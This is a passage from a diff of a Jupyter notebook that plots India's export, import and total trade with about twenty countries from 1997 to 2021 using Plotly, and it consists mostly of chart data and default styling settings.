"title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[70]]['Year(start)'], y=df[df['Country']==country.index[70]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(70,80):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[70]]['Year(start)'], y=df[df['Country']==country.index[70]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(70,80):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[70]]['Year(start)'], y=df[df['Country']==country.index[70]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(70,80):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "id": "83ee27c1-0543-431e-b38f-8a2505304525", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 393.79, - 387.72, - 285.4, - 310.67, - 352.94, - 483.98, - 539.35, - 984.04, - 1526.87, - 2241.61, - 2660.75, - 1980.28, - 2058.5, - 3912.37, - 4731.17, - 5106.93, - 5074.29, - 5301.99, - 3588.07, - 3545.95, - 3825.21, - 4067.2, - 4108.17, - 3934.2, - 4570.13 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "SOUTH AFRICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 393.79, - 387.72, - 285.4, - 310.67, - 352.94, - 483.98, - 539.35, - 984.04, - 1526.87, - 2241.61, - 2660.75, - 1980.28, - 2058.5, - 3912.37, - 4731.17, - 5106.93, - 5074.29, - 5301.99, - 3588.07, - 3545.95, - 3825.21, - 4067.2, - 4108.17, - 3934.2, - 4570.13 - ] - }, - { - "mode": "lines", - "name": "SPAIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 441.98, - 499.34, - 547.95, - 666.25, - 677.21, - 810.49, - 1002.58, - 1389.37, - 1605.66, - 1878.66, - 2293.59, - 2538.15, - 2029.26, - 2565.29, - 2999.27, - 2865.75, - 2884.41, - 3148.12, - 3237.11, - 3424.99, - 3995.11, - 4182.49, - 3945.44, - 3238.52, - 3349.81 - ] - }, - { - "mode": "lines", - "name": "SRI LANKA DSR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 489.23, - 437.13, - 499.27, - 640.14, - 630.89, - 920.98, - 1319.2, - 1413.18, - 2024.67, - 2258.3, - 2830.43, - 2425.92, - 2188.01, - 3507.5, - 4378.79, - 3983.87, - 4534.35, - 6703.72, - 5310.75, - 3913.15, - 4476.46, - 4710.21, - 3800.91, - 3498.23, - 3653.42 - ] - }, - { - "mode": "lines", - "name": "ST KITT N A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.04, - 0.05, - 0.01, - 0, - 0.01, - 0.08, - 0.31, - 0.49, - 0.41, - 0.38, - 0.54, - 0.71, - 1.47, - 0.74, - 0.66, - 0.63, - 1.22, - 1.25, - 2.2, - 3.09, - 2.87, - 2.37, - 2.56, - 0.99, - 1.5 - ] - }, - { - "mode": "lines", - "name": "ST LUCIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.07, - 0.16, - 0.29, - 0.39, - 0.32, - 0.41, - 0.41, - 0.47, - 0.73, - 0.66, - 0.55, - 1.07, - 1.16, - 2.56, - 1.32, - 1.03, - 2.28, - 2.13, - 2.67, - 4.32, - 4.06, - 4.01, - 3.24, - 3.4, - 2.78 - ] - }, - { - "mode": "lines", - "name": "SUDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.57, - 54.96, - 71.47, - 97.79, - 122.19, - 105.18, - 107.38, - 317.45, - 294.65, - 403.49, - 407.51, - 485.07, - 461.06, - 488.46, - 717.37, - 755.12, - 863.04, - 882.47, - 782.35, - 748.71, - 822.72, - 920.88, - 1096.88, - 1022.33, - 694.22 - ] - }, - { - "mode": "lines", - "name": "SURINAME", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.14, - 1.22, - 2.04, - 1.01, - 1.39, - 1.82, - 3.73, - 17.58, - 15.67, - 16.67, - 11.21, - 13.46, - 16.26, - 12.06, - 10.43, - 30.34, - 24.18, - 17.62, - 12.86, - 10.5, - 17.38, - 22.58, - 31.12, - 17.12, - 12.72 - ] - }, - { - "mode": "lines", - "name": "SWAZILAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.18, - 0.62, - 1.06, - 1.51, - 1.38, - 12.93, - 29.07, - 22.27, - 5.24, - 4.73, - 10.36, - 41.68, - 20.26, - 86.9, - 22.91, - 47.26, - 22.81, - 39.94, - 59.9, - 39.56, - 32.71, - 19.2, - 18.57, - 24.32, - 19.48 - ] - }, - { - "mode": "lines", - "name": "SWEDEN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 165.95, - 149.61, - 146.48, - 176.16, - 154.27, - 176.29, - 219.88, - 241.8, - 326.39, - 387.7, - 544.19, - 566.69, - 476.63, - 627.73, - 825, - 686.15, - 733.45, - 740.47, - 683.54, - 708.93, - 771.5, - 792.23, - 748.42, - 763.84, - 747.88 - ] - }, - { - "mode": "lines", - "name": "KENYA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 123.91, - 145.2, - 116.73, - 140.93, - 156.01, - 203.59, - 229.48, - 426.64, - 576.54, - 1309.22, - 1584.63, - 1362.1, - 1452, - 2182.01, - 2277.46, - 3770.34, - 3882.15, - 4117.93, - 3025.85, - 2194.29, - 1974.57, - 2071.84, - 2108.58, - 1895.84, - 1950.86 - ] - }, - { - "mode": "lines", - "name": "LITHUANIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.41, - 3.61, - 9.7, - 8.69, - 6.41, - 10.09, - 17.92, - 30.6, - 33.45, - 40.61, - 59.18, - 60.26, - 66.39, - 83.3, - 134.89, - 147.43, - 104.94, - 103.23, - 88.09, - 95.99, - 103.84, - 127.38, - 110.76, - 163.66, - 202.34 - ] - }, - { - "mode": "lines", - "name": "JORDAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 69.24, - 68.77, - 62.76, - 79.5, - 80.9, - 101.81, - 150.99, - 128.25, - 184.97, - 178.98, - 358.33, - 431.83, - 245.62, - 485.36, - 821.08, - 1000.57, - 1595.89, - 1431.11, - 499.76, - 522.41, - 540.82, - 578.81, - 960.66, - 630.89, - 649.87 - ] - }, - { - "mode": "lines", - "name": "COLOMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 31.96, - 26.27, - 33.35, - 49.18, - 54.33, - 61.56, - 95.31, - 330.71, - 455.02, - 575.82, - 760.14, - 370.22, - 389.09, - 561.31, - 892.42, - 912.12, - 1007.51, - 1105.15, - 886.89, - 784.5, - 939.14, - 1116.85, - 1043.41, - 864.99, - 1010.13 - ] - }, - { - "mode": "lines", - "name": "BURKINA FASO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.21, - 4.71, - 4.39, - 6.74, - 9.87, - 16.12, - 23.74, - 21.1, - 19.93, - 14.98, - 32.4, - 48.29, - 36.46, - 45.85, - 85.05, - 86.1, - 103.21, - 112.76, - 108.79, - 114.94, - 148.35, - 181.44, - 153.94, - 207.87, - 144.14 - ] - }, - { - "mode": "lines", - "name": "BURUNDI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.78, - 1.21, - 1.49, - 3.03, - 2.53, - 4.53, - 5.49, - 7.24, - 10.73, - 7.96, - 8.05, - 14.06, - 12.64, - 16.12, - 24.12, - 32.67, - 30.76, - 31.44, - 29.06, - 35.98, - 38.09, - 48.35, - 58.47, - 64.02, - 47.47 - ] - }, - { - "mode": "lines", - "name": "C AFRI REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.37, - 0.58, - 0.28, - 0.86, - 0.75, - 2.94, - 0.69, - 0.87, - 1.39, - 2.4, - 1.3, - 2.42, - 5.2, - 3.52, - 6.28, - 8.45, - 7.73, - 7.76, - 9.18, - 10.29, - 29.92, - 26.8, - 55.63, - 23.71, - 13.02 - ] - }, - { - "mode": "lines", - "name": "CAMBODIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.95, - 5.71, - 7.85, - 7.86, - 11.29, - 19.84, - 18.6, - 18.13, - 24.19, - 52.07, - 53.5, - 46.9, - 45.54, - 66.94, - 99.45, - 112.28, - 141.31, - 142.53, - 143.01, - 105.06, - 121.41, - 195.98, - 188.12, - 168.86, - 133.88 - ] - }, - { - "mode": "lines", - "name": "CAMEROON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.19, - 9.1, - 6.14, - 9.82, - 13.62, - 21.12, - 23.26, - 26.7, - 34.71, - 83.19, - 72.53, - 92.46, - 77.22, - 121.18, - 196.39, - 250.98, - 259.66, - 249.13, - 190.99, - 148.79, - 193.94, - 178.25, - 228.45, - 279.07, - 298.84 - ] - }, - { - "mode": "lines", - "name": "CANADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 427.82, - 473.01, - 578.27, - 656.47, - 584.82, - 698.27, - 763.19, - 866.8, - 1021.58, - 1109.86, - 1266.64, - 1364.41, - 1122.77, - 1348.82, - 2053.54, - 2036.58, - 2037.01, - 2196, - 2018.42, - 2004.12, - 2506.15, - 2851.42, - 2851.79, - 2960.77, - 2683.95 - ] - }, - { - "mode": "lines", - "name": "CAPE VERDE IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.02, - 0.08, - 0.02, - 0.02, - 0.11, - 0.11, - 0.05, - 0.6, - 0.15, - 0.21, - 0.42, - 0.39, - 0.7, - 0.5, - 0.47, - 0.95, - 1.43, - 4.12, - 1.43, - 1.25, - 1.48, - 1.6, - 2.17, - 3.31, - 3.05 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 498.11, - 1351.88, - 2015.72, - 1021.91, - 1440.9, - 2093.48, - 1899.19, - 2197.67, - 2471.8, - 2470.14, - 3605.35, - 5513.58, - 5674.5, - 7140.55, - 10971.76, - 8887.89, - 6075.26, - 6496.52, - 5948.42, - 5833.75, - 6834.7, - 6517.33, - 6969.79, - 7568.2, - 8197.86 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "SOUTH AFRICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 498.11, - 1351.88, - 2015.72, - 1021.91, - 1440.9, - 2093.48, - 1899.19, - 2197.67, - 2471.8, - 2470.14, - 3605.35, - 5513.58, - 5674.5, - 7140.55, - 10971.76, - 8887.89, - 6075.26, - 6496.52, - 5948.42, - 5833.75, - 6834.7, - 6517.33, - 6969.79, - 7568.2, - 8197.86 - ] - }, - { - "mode": "lines", - "name": "SPAIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 160.98, - 214.28, - 139.88, - 142.15, - 168.78, - 177.12, - 258.78, - 389.55, - 573.46, - 627.41, - 995.64, - 1023.8, - 1095.53, - 1487.58, - 1809.78, - 1815.66, - 1843.42, - 2005.2, - 1646.02, - 1968.77, - 1663.37, - 1680.5, - 1613.17, - 1511.92, - 1559.57 - ] - }, - { - "mode": "lines", - "name": "SRI LANKA DSR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - 